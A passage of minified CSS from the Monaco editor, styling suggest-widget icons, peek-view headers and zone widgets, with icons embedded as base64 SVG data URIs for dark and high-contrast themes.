1YTUuNSA1LjUgMCAxIDEgMTEgMHoiIGlkPSJvdXRsaW5lIi8+PHBhdGggY2xhc3M9Imljb24tdnMtYmciIGQ9Ik0xNSA1LjVhNC41IDQuNSAwIDAgMS00LjUgNC41Yy0uNjkzIDAtMS4zNDItLjE3LTEuOTI5LS40NWwtNS4wMSA1LjAxYy0uMjkzLjI5NC0uNjc3LjQ0LTEuMDYxLjQ0cy0uNzY4LS4xNDYtMS4wNjEtLjQzOWExLjUgMS41IDAgMCAxIDAtMi4xMjFsNS4wMS01LjAxQTQuNDgzIDQuNDgzIDAgMCAxIDYgNS41IDQuNSA0LjUgMCAwIDEgMTAuNSAxYy42OTMgMCAxLjM0Mi4xNyAxLjkyOS40NUw5LjYzNiA0LjI0M2wyLjEyMSAyLjEyMSAyLjc5My0yLjc5M2MuMjguNTg3LjQ1IDEuMjM2LjQ1IDEuOTI5eiIgaWQ9Imljb25CZyIvPjwvc3ZnPg==\")}.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon.unit,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon.unit{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojMmQyZDMwfS5pY29uLXZzLW91dHtmaWxsOiMyZDJkMzB9Lmljb24tdnMtYmd7ZmlsbDojYzVjNWM1fS5pY29uLXZzLWZne2ZpbGw6IzJiMjgyZX08L3N0eWxlPjxwYXRoIGNsYXNzPSJpY29uLWNhbnZhcy10cmFuc3BhcmVudCIgZD0iTTE2IDE2SDBWMGgxNnYxNnoiIGlkPSJjYW52YXMiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1vdXQiIGQ9Ik0xNiAxMS4wMTNIMVY0aDE1djcuMDEzeiIgaWQ9Im91dGxpbmUiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1mZyIgZD0iTTggOUg3VjZoM3YzSDlWN0g4djJ6TTQgN2gxdjJoMVY2SDN2M2gxVjd6bTggMGgxdjJoMVY2aC0zdjNoMVY3eiIgaWQ9Imljb25GZyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLWJnIiBkPSJNMiA1djVoMTNWNUgyem00IDRINVY3SDR2MkgzVjZoM3Yzem00IDBIOVY3SDh2Mkg3VjZoM3Yzem00IDBoLTFWN2gtMXYyaC0xVjZoM3YzeiIgaWQ9Imljb25CZyIvPjwvc3ZnPg==\")}.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon.constant,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon.constant{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojMjUyNTI2fS5pY29uLXZzLW91dHtmaWxsOiMyNTI1MjZ9Lmljb24tdnMtYmd7ZmlsbDojYzVjNWM1fS5pY29uLXZzLWZne2ZpbGw6IzJiMjgyZX0uaWNvbi12cy1hY3Rpb24tYmx1ZXtmaWxsOiM3NWJlZmZ9PC9zdHlsZT48cGF0aCBjbGFzcz0iaWNvbi1jYW52YXMtdHJhbnNwYXJlbnQiIGQ9Ik0xNiAxNkgwVjBoMTZ2MTZ6IiBpZD0iY2FudmFzIi8+PHBhdGggY2xhc3M9Imljb24tdnMtb3V0IiBkPSJNMi44NzkgMTRMMSAxMi4xMjFWMy44NzlMMi44NzkgMmgxMC4yNDJMMTUgMy44Nzl2OC4yNDJMMTMuMTIxIDE0SDIuODc5eiIgaWQ9Im91dGxpbmUiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1mZyIgZD0iTTEyLjI5MyA0SDMuNzA3TDMgNC43MDd2Ni41ODZsLjcwNy43MDdoOC41ODZsLjcwNy0uNzA3VjQuNzA3TDEyLjI5MyA0ek0xMSAxMEg1VjloNnYxem0wLTNINVY2aDZ2MXoiIGlkPSJpY29uRmciLz48ZyBpZD0iaWNvbkJnIj48cGF0aCBjbGFzcz0iaWNvbi12cy1iZyIgZD0iTTEyLjcwNyAxM0gzLjI5M0wyIDExLjcwN1Y0LjI5M0wzLjI5MyAzaDkuNDE0TDE0IDQuMjkzdjcuNDE0TDEyLjcwNyAxM3ptLTktMWg4LjU4NmwuNzA3LS43MDdWNC43MDdMMTIuMjkzIDRIMy43MDdMMyA0LjcwN3Y2LjU4NmwuNzA3LjcwN3oiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1hY3Rpb24tYmx1ZSIgZD0iTTExIDdINVY2aDZ2MXptMCAySDV2MWg2Vjl6Ii8+PC9nPjwvc3ZnPg==\")}.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon.enum,.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon.value,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon.enum,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon.value{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojMmQyZDMwfS5pY29uLXZzLW91dHtmaWxsOiMyZDJkMzB9Lmljb24tdnMtZmd7ZmlsbDojMmIyODJlfS5pY29uLXZzLWFjdGlvbi1vcmFuZ2V7ZmlsbDojZThhYjUzfTwvc3R5bGU+PHBhdGggY2xhc3M9Imljb24tY2FudmFzLXRyYW5zcGFyZW50IiBkPSJNMTYgMTZIMFYwaDE2djE2eiIgaWQ9ImNhbnZhcyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLW91dCIgZD0iTTE0LjQxNCAxTDE2IDIuNTg2djUuODI4TDE0LjQxNCAxMEgxMHYzLjQxNkw4LjQxNCAxNUgxLjU4NkwwIDEzLjQxNnYtNS44M0wxLjU4NiA2SDZWMi41ODZMNy41ODYgMWg2LjgyOHoiIGlkPSJvdXRsaW5lIi8+PHBhdGggY2xhc3M9Imljb24tdnMtZmciIGQ9Ik0yIDEzaDZWOEgydjV6bTEtNGg0djFIM1Y5em0wIDJoNHYxSDN2LTF6bTExLTVWM0g4djNoLjQxNEw5IDYuNTg2VjZoNHYxSDkuNDE0bC41ODYuNTg2VjhoNFY2em0tMS0xSDlWNGg0djF6IiBpZD0iaWNvbkZnIi8+PHBhdGggY2xhc3M9Imljb24tdnMtYWN0aW9uLW9yYW5nZSIgZD0iTTMgMTFoNC4wMDF2MUgzdi0xem0wLTFoNC4wMDFWOUgzdjF6bTYtMnY1bC0xIDFIMmwtMS0xVjhsMS0xaDZsMSAxek04IDhIMnY1aDZWOHptMS0ybDEgMWgzVjZIOXptMC0xaDRWNEg5djF6bTUtM0g4TDcgM3YzaDFWM2g2djVoLTR2MWg0bDEtMVYzbC0xLTF6IiBpZD0iaWNvbkJnIi8+PC9zdmc+\")}.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon.enum-member,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon.enum-member{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojMmQyZDMwfS5pY29uLXZzLW91dHtmaWxsOiMyZDJkMzB9Lmljb24tdnMtZmd7ZmlsbDojMmIyODJlfS5pY29uLXZzLWFjdGlvbi1ibHVle2ZpbGw6Izc1YmVmZn08L3N0eWxlPjxwYXRoIGNsYXNzPSJpY29uLWNhbnZhcy10cmFuc3BhcmVudCIgZD0iTTE2IDE2SDBWMGgxNnYxNnoiIGlkPSJjYW52YXMiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1vdXQiIGQ9Ik0wIDE1VjZoNlYyLjU4Nkw3LjU4NSAxaDYuODI5TDE2IDIuNTg2djUuODI5TDE0LjQxNCAxMEgxMHY1SDB6bTMtNnoiIGlkPSJvdXRsaW5lIi8+PHBhdGggY2xhc3M9Imljb24tdnMtZmciIGQ9Ik04IDN2M2g1djFoLTN2MWg0VjNIOHptNSAySDlWNGg0djF6TTIgOHY1aDZWOEgyem01IDNIM3YtMWg0djF6IiBpZD0iaWNvbkZnIi8+PHBhdGggY2xhc3M9Imljb24tdnMtYWN0aW9uLWJsdWUiIGQ9Ik0xMCA2aDN2MWgtM1Y2ek05IDR2MWg0VjRIOXptNS0ySDhMNyAzdjNoMVYzaDZ2NWgtNHYxaDRsMS0xVjNsLTEtMXptLTcgOEgzdjFoNHYtMXptMi0zdjdIMVY3aDh6TTggOEgydjVoNlY4eiIgaWQ9Imljb25CZyIvPjwvc3ZnPg==\")}.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon.keyword,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon.keyword{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojMmQyZDMwfS5pY29uLXZzLW91dHtmaWxsOiMyZDJkMzB9Lmljb24tdnMtYmd7ZmlsbDojYzVjNWM1fS5pY29uLXZzLWZne2ZpbGw6IzJiMjgyZX08L3N0eWxlPjxwYXRoIGNsYXNzPSJpY29uLWNhbnZhcy10cmFuc3BhcmVudCIgZD0iTTE2IDE2SDBWMGgxNnYxNnoiIGlkPSJjYW52YXMiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1vdXQiIGQ9Ik0xNiA1VjJIOVYxSDB2MTRoMTN2LTNoM1Y5aC0xVjZIOVY1aDd6bS04IDdWOWgxdjNIOHoiIGlkPSJvdXRsaW5lIi8+PHBhdGggY2xhc3M9Imljb24tdnMtZmciIGQ9Ik0yIDNoNXYxSDJWM3oiIGlkPSJpY29uRmciLz48cGF0aCBjbGFzcz0iaWNvbi12cy1iZyIgZD0iTTE1IDRoLTVWM2g1djF6bS0xIDNoLTJ2MWgyVjd6bS00IDBIMXYxaDlWN3ptMiA2SDF2MWgxMXYtMXptLTUtM0gxdjFoNnYtMXptOCAwaC01djFoNXYtMXpNOCAydjNIMVYyaDd6TTcgM0gydjFoNVYzeiIgaWQ9Imljb25CZyIvPjwvc3ZnPg==\")}.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon.text,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon.text{background-image:url(contrib/suggest/browser/media/String_inverse_16x.svg)}.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon.color,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon.color{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojMmQyZDMwfS5pY29uLXZzLW91dHtmaWxsOiMyZDJkMzB9Lmljb24tdnMtYmd7ZmlsbDojYzVjNWM1fS5pY29uLXZzLXJlZHtmaWxsOiNmNDg3NzF9Lmljb24tdnMteWVsbG93e2ZpbGw6I2ZmY2MwMH0uaWNvbi12cy1ncmVlbntmaWxsOiMzMzk5MzN9Lmljb24tdnMtYmx1ZXtmaWxsOiMxYmExZTJ9Lmljb24tdnMtYWN0aW9uLXB1cnBsZXtmaWxsOiNiMTgwZDd9Lmljb24td2hpdGV7ZmlsbDojMDAwMDAwfTwvc3R5bGU+PHBhdGggY2xhc3M9Imljb24tY2FudmFzLXRyYW5zcGFyZW50IiBkPSJNMTYgMTZIMFYwaDE2djE2eiIgaWQ9ImNhbnZhcyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLW91dCIgZD0iTTE2IDhjMCA0LjQxMS0zLjU4OSA4LTggOGEyLjgwMyAyLjgwMyAwIDAgMS0yLjgtMi44YzAtLjgzMy4yNzItMS42MjkuNzY2LTIuMjQxYS41OTYuNTk2IDAgMCAwIC4xMDEtLjM1OS42NjcuNjY3IDAgMCAwLS42NjctLjY2Ni41OC41OCAwIDAgMC0uMzU4LjEwMkEzLjU4NCAzLjU4NCAwIDAgMSAyLjggMTAuOCAyLjgwMyAyLjgwMyAwIDAgMSAwIDhjMC00LjQxMSAzLjU4OS04IDgtOHM4IDMuNTg5IDggOHoiIGlkPSJvdXRsaW5lIi8+PHBhdGggY2xhc3M9Imljb24td2hpdGUiIGQ9Ik01LjQgNy45MzNhMi42NyAyLjY3IDAgMCAxIDIuNjY3IDIuNjY2YzAgLjYwNi0uMTkzIDEuMTc5LS41NDQgMS42MTRhMS41OTkgMS41OTkgMCAwIDAtLjMyMy45ODcuOC44IDAgMCAwIC44LjhjMy4zMDkgMCA2LTIuNjkxIDYtNnMtMi42OTEtNi02LTYtNiAyLjY5MS02IDZjMCAuNDQxLjM1OS44LjguOC4zNzggMCAuNzI5LS4xMTQuOTg2LS4zMjJBMi41NjggMi41NjggMCAwIDEgNS40IDcuOTMzeiIgaWQ9Imljb25GZyIvPjxnIGlkPSJpY29uQmciPjxwYXRoIGNsYXNzPSJpY29uLXZzLWJnIiBkPSJNOCAxNWMtLjk5MiAwLTEuOC0uODA4LTEuOC0xLjggMC0uNjA2LjE5My0xLjE3OS41NDQtMS42MTMuMjA4LS4yNTkuMzIzLS42MDkuMzIzLS45ODcgMC0uOTE5LS43NDgtMS42NjYtMS42NjctMS42NjYtLjM3NyAwLS43MjguMTE1LS45ODYuMzIzQTIuNTggMi41OCAwIDAgMSAyLjggOS44QzEuODA4IDkuOCAxIDguOTkyIDEgOGMwLTMuODYgMy4xNC03IDctNyAzLjg1OSAwIDcgMy4xNCA3IDcgMCAzLjg1OS0zLjE0MSA3LTcgN3pNNS40IDcuOTMzYTIuNjcgMi42NyAwIDAgMSAyLjY2NyAyLjY2NmMwIC42MDYtLjE5MyAxLjE3OS0uNTQ0IDEuNjE0YTEuNTk5IDEuNTk5IDAgMCAwLS4zMjMuOTg3LjguOCAwIDAgMCAuOC44YzMuMzA5IDAgNi0yLjY5MSA2LTZzLTIuNjkxLTYtNi02LTYgMi42OTEtNiA2YzAgLjQ0MS4zNTkuOC44LjguMzc4IDAgLjcyOS0uMTE0Ljk4Ni0uMzIyQTIuNTY4IDIuNTY4IDAgMCAxIDUuNCA3LjkzM3oiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1hY3Rpb24tcHVycGxlIiBkPSJNNC41IDUuMzc1YS44NzUuODc1IDAgMSAwIDAgMS43NS44NzUuODc1IDAgMCAwIDAtMS43NXoiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1ibHVlIiBkPSJNNy4xMjUgMy42MjVhLjg3NS44NzUgMCAxIDAgMCAxLjc1Ljg3NS44NzUgMCAwIDAgMC0xLjc1eiIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLWdyZWVuIiBkPSJNMTAuNjI1IDQuNWEuODc1Ljg3NSAwIDEgMCAwIDEuNzUuODc1Ljg3NSAwIDAgMCAwLTEuNzV6Ii8+PHBhdGggY2xhc3M9Imljb24tdnMteWVsbG93IiBkPSJNMTEuNSA4YS44NzUuODc1IDAgMSAwIDAgMS43NS44NzUuODc1IDAgMCAwIDAtMS43NXoiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1yZWQiIGQ9Ik05Ljc1IDEwLjYyNWEuODc1Ljg3NSAwIDEgMCAwIDEuNzUuODc1Ljg3NSAwIDAgMCAwLTEuNzV6Ii8+PC9nPjwvc3ZnPg==\")}.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon.file,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon.file{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojMmQyZDMwfS5pY29uLXZzLW91dHtmaWxsOiMyZDJkMzB9Lmljb24tdnMtYmd7ZmlsbDojYzVjNWM1fS5pY29uLXZzLWZne2ZpbGw6IzJiMjgyZX08L3N0eWxlPjxwYXRoIGNsYXNzPSJpY29uLWNhbnZhcy10cmFuc3BhcmVudCIgZD0iTTE2IDE2SDBWMGgxNnYxNnoiIGlkPSJjYW52YXMiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1vdXQiIGQ9Ik0xNSAxNkgyVjBoOC42MjFMMTUgNC4zNzlWMTZ6IiBpZD0ib3V0bGluZSIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLWZnIiBkPSJNMTMgMTRINFYyaDV2NGg0djh6bS0zLTlWMi4yMDdMMTIuNzkzIDVIMTB6IiBpZD0iaWNvbkZnIi8+PHBhdGggY2xhc3M9Imljb24tdnMtYmciIGQ9Ik0zIDF2MTRoMTFWNC43OTNMMTAuMjA3IDFIM3ptMTAgMTNINFYyaDV2NGg0djh6bS0zLTlWMi4yMDdMMTIuNzkzIDVIMTB6IiBpZD0iaWNvbkJnIi8+PC9zdmc+\")}.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon.reference,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon.reference{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHN0eWxlPi5pY29uLWNhbnZhcy10cmFuc3BhcmVudHtvcGFjaXR5OjA7ZmlsbDojMmQyZDMwfS5pY29uLXZzLW91dHtmaWxsOiMyZDJkMzB9Lmljb24tdnMtYmd7ZmlsbDojYzVjNWM1fS5pY29uLXZzLWZne2ZpbGw6IzJiMjgyZX0uaWNvbi12cy1hY3Rpb24tYmx1ZXtmaWxsOiM3NWJlZmZ9PC9zdHlsZT48cGF0aCBjbGFzcz0iaWNvbi1jYW52YXMtdHJhbnNwYXJlbnQiIGQ9Ik0xNiAxNkgwVjBoMTZ2MTZ6IiBpZD0iY2FudmFzIi8+PHBhdGggY2xhc3M9Imljb24tdnMtb3V0IiBkPSJNMTQgNC41NTZWMTNjMCAuOTctLjcwMSAyLTIgMkg0Yy0uOTcgMC0yLS43MDEtMi0yVjYuNjQ5QTMuNDk1IDMuNDk1IDAgMCAxIDAgMy41QzAgMS41NyAxLjU3IDAgMy41IDBINXYxaDUuMDYxTDE0IDQuNTU2eiIgaWQ9Im91dGxpbmUiIHN0eWxlPSJkaXNwbGF5OiBub25lOyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLWJnIiBkPSJNMTMgNXY4cy0uMDM1IDEtMS4wMzUgMWgtOFMzIDE0IDMgMTNWOWgxdjRoOFY2SDkuMzk3bC41MTctLjUyTDkgNC41NzJWM0g3LjQxOUw2LjQxMyAyaDMuMjI4TDEzIDV6IiBpZD0iaWNvbkJnIi8+PHBhdGggY2xhc3M9Imljb24tdnMtZmciIGQ9Ik03LjQxOSAzSDl2MS41NzJMNy40MTkgM3ptMS45NzggM0w2LjQxNiA5SDR2NGg4VjZIOS4zOTd6IiBpZD0iaWNvbkZnIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1hY3Rpb24tYmx1ZSIgZD0iTTUuOTg4IDZIMy41YTIuNSAyLjUgMCAxIDEgMC01SDR2MWgtLjVDMi42NzMgMiAyIDIuNjczIDIgMy41UzIuNjczIDUgMy41IDVoMi41MTNMNCAzaDJsMi41IDIuNDg0TDYgOEg0bDEuOTg4LTJ6IiBpZD0iY29sb3JBY3Rpb24iLz48L3N2Zz4=\")}.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon.snippet,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon.snippet{background-image:url(\"data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+CjxzdmcKICAgeG1sbnM6ZGM9Imh0dHA6Ly9wdXJsLm9yZy9kYy9lbGVtZW50cy8xLjEvIgogICB4bWxuczpjYz0iaHR0cDovL2NyZWF0aXZlY29tbW9ucy5vcmcvbnMjIgogICB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiCiAgIHhtbG5zOnN2Zz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciCiAgIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIKICAgdmVyc2lvbj0iMS4xIgogICBpZD0ic3ZnNDY5NCIKICAgdmlld0JveD0iMCAwIDE2IDE2Ij4KICA8bWV0YWRhdGEKICAgICBpZD0ibWV0YWRhdGE0NzA1Ij4KICAgIDxyZGY6UkRGPgogICAgICA8Y2M6V29yawogICAgICAgICByZGY6YWJvdXQ9IiI+CiAgICAgICAgPGRjOmZvcm1hdD5pbWFnZS9zdmcreG1sPC9kYzpmb3JtYXQ+CiAgICAgICAgPGRjOnR5cGUKICAgICAgICAgICByZGY6cmVzb3VyY2U9Imh0dHA6Ly9wdXJsLm9yZy9kYy9kY21pdHlwZS9TdGlsbEltYWdlIiAvPgogICAgICAgIDxkYzp0aXRsZT48L2RjOnRpdGxlPgogICAgICA8L2NjOldvcms+CiAgICA8L3JkZjpSREY+CiAgPC9tZXRhZGF0YT4KICA8ZGVmcwogICAgIGlkPSJkZWZzNDcwMyIgLz4KICA8c3R5bGUKICAgICBpZD0ic3R5bGU0Njk2Ij4uaWNvbi1jYW52YXMtdHJhbnNwYXJlbnR7b3BhY2l0eTowO2ZpbGw6I2Y2ZjZmNn0uaWNvbi12cy1vdXR7ZmlsbDojZjZmNmY2fS5pY29uLXZzLWFjdGlvbi1vcmFuZ2V7ZmlsbDojYzI3ZDFhfTwvc3R5bGU+CiAgPGcKICAgICBpZD0iZzQ3MjQiCiAgICAgdHJhbnNmb3JtPSJtYXRyaXgoMS4zMzMzMzMzLDAsMCwxLjMzMzMzMzMsLTI0NS45OTk5OSwtMzEuOTk5OTk5KSI+CiAgICA8cGF0aAogICAgICAgZD0ibSAxODUsMjQgMTEsMCAwLDEyIC0xMSwwIHoiCiAgICAgICBpZD0icGF0aDQ1MjgiCiAgICAgICBzdHlsZT0iZmlsbDojMmQyZDMwIiAvPgogICAgPHBhdGgKICAgICAgIGQ9Im0gMTk0LDMzIDAsLTcgLTcsMCAwLDcgLTEsMCAwLC04IDksMCAwLDggeiBtIC04LDEgMSwwIDAsMSAtMSwwIHogbSAyLDAgMSwwIDAsMSAtMSwwIHogbSAyLDAgMSwwIDAsMSAtMSwwIHogbSAyLDAgMSwwIDAsMSAtMSwwIHogbSAyLDAgMSwwIDAsMSAtMSwwIHoiCiAgICAgICBpZD0icGF0aDQ1MzAiCiAgICAgICBzdHlsZT0iZmlsbDojYzVjNWM1IiAvPgogICAgPHBhdGgKICAgICAgIGQ9Im0gMTg3LDI2IDcsMCAwLDcgLTcsMCB6IgogICAgICAgaWQ9InBhdGg0NTMyIgogICAgICAgc3R5bGU9ImZpbGw6IzJiMjgyZSIgLz4KICA8L2c+Cjwvc3ZnPgo=\")}.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon.customcolor,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon.customcolor{background-image:none}.monaco-editor.hc-black .suggest-widget .monaco-list .monaco-list-row .icon.folder,.monaco-editor.vs-dark .suggest-widget .monaco-list .monaco-list-row .icon.folder{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiI+PHN0eWxlIHR5cGU9InRleHQvY3NzIj4uaWNvbi1jYW52YXMtdHJhbnNwYXJlbnR7b3BhY2l0eTowO2ZpbGw6I0Y2RjZGNjt9IC5pY29uLXZzLW91dHtvcGFjaXR5OjA7ZmlsbDojRjZGNkY2O30gLmljb24tdnMtZmd7b3BhY2l0eTowO2ZpbGw6I0YwRUZGMTt9IC5pY29uLWZvbGRlcntmaWxsOiNDNUM1QzU7fTwvc3R5bGU+PHBhdGggY2xhc3M9Imljb24tY2FudmFzLXRyYW5zcGFyZW50IiBkPSJNMTYgMTZoLTE2di0xNmgxNnYxNnoiIGlkPSJjYW52YXMiLz48cGF0aCBjbGFzcz0iaWNvbi12cy1vdXQiIGQ9Ik0xNiAyLjV2MTBjMCAuODI3LS42NzMgMS41LTEuNSAxLjVoLTExLjk5NmMtLjgyNyAwLTEuNS0uNjczLTEuNS0xLjV2LThjMC0uODI3LjY3My0xLjUgMS41LTEuNWgyLjg4NmwxLTJoOC4xMWMuODI3IDAgMS41LjY3MyAxLjUgMS41eiIgaWQ9Im91dGxpbmUiLz48cGF0aCBjbGFzcz0iaWNvbi1mb2xkZXIiIGQ9Ik0xNC41IDJoLTcuNDkybC0xIDJoLTMuNTA0Yy0uMjc3IDAtLjUuMjI0LS41LjV2OGMwIC4yNzYuMjIzLjUuNS41aDExLjk5NmMuMjc1IDAgLjUtLjIyNC41LS41di0xMGMwLS4yNzYtLjIyNS0uNS0uNS0uNXptLS40OTYgMmgtNi40OTZsLjUtMWg1Ljk5NnYxeiIgaWQ9Imljb25CZyIvPjxwYXRoIGNsYXNzPSJpY29uLXZzLWZnIiBkPSJNMTQgM3YxaC02LjVsLjUtMWg2eiIgaWQ9Imljb25GZyIvPjwvc3ZnPg==\")}.monaco-editor .peekview-widget .head{-o-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box}.monaco-editor .peekview-widget .head .peekview-title{display:inline-block;font-size:13px;margin-left:20px;cursor:pointer}.monaco-editor .peekview-widget .head .peekview-title .dirname:not(:empty){font-size:.9em;margin-left:.5em}.monaco-editor .peekview-widget .head .peekview-actions{display:inline-block;position:absolute;right:2px;top:2px}.monaco-editor .peekview-widget .head .peekview-actions .action-label{width:16px;height:16px;margin:2px 0}.monaco-editor .peekview-widget .head .peekview-actions .action-label.icon.close-peekview-action{background:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgdmlld0JveD0iMyAzIDE2IDE2IiBlbmFibGUtYmFja2dyb3VuZD0ibmV3IDMgMyAxNiAxNiI+PHBvbHlnb24gZmlsbD0iIzQyNDI0MiIgcG9pbnRzPSIxMi41OTcsMTEuMDQyIDE1LjQsMTMuODQ1IDEzLjg0NCwxNS40IDExLjA0MiwxMi41OTggOC4yMzksMTUuNCA2LjY4MywxMy44NDUgOS40ODUsMTEuMDQyIDYuNjgzLDguMjM5IDguMjM4LDYuNjgzIDExLjA0Miw5LjQ4NiAxMy44NDUsNi42ODMgMTUuNCw4LjIzOSIvPjwvc3ZnPg==\") 50% no-repeat}.monaco-editor .peekview-widget>.body{border-top:1px solid;position:relative}.monaco-editor.hc-black .peekview-widget .head .peekview-actions .action-label.icon.close-peekview-action,.monaco-editor.vs-dark .peekview-widget .head .peekview-actions .action-label.icon.close-peekview-action{background:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgdmlld0JveD0iMyAzIDE2IDE2IiBlbmFibGUtYmFja2dyb3VuZD0ibmV3IDMgMyAxNiAxNiI+PHBvbHlnb24gZmlsbD0iI2U4ZThlOCIgcG9pbnRzPSIxMi41OTcsMTEuMDQyIDE1LjQsMTMuODQ1IDEzLjg0NCwxNS40IDExLjA0MiwxMi41OTggOC4yMzksMTUuNCA2LjY4MywxMy44NDUgOS40ODUsMTEuMDQyIDYuNjgzLDguMjM5IDguMjM4LDYuNjgzIDExLjA0Miw5LjQ4NiAxMy44NDUsNi42ODMgMTUuNCw4LjIzOSIvPjwvc3ZnPg==\") 50% no-repeat}.monaco-editor .zone-widget{position:absolute;z-index:3}.monaco-editor .zone-widget .zone-widget-container{border-top-style:solid;border-bottom-style:solid;border-top-width:0;border-bottom-width:0;position:relative}.monaco-editor .accessibilityHelpWidget{padding:10px;vertical-align:middle;overflow:scroll}.monaco-editor 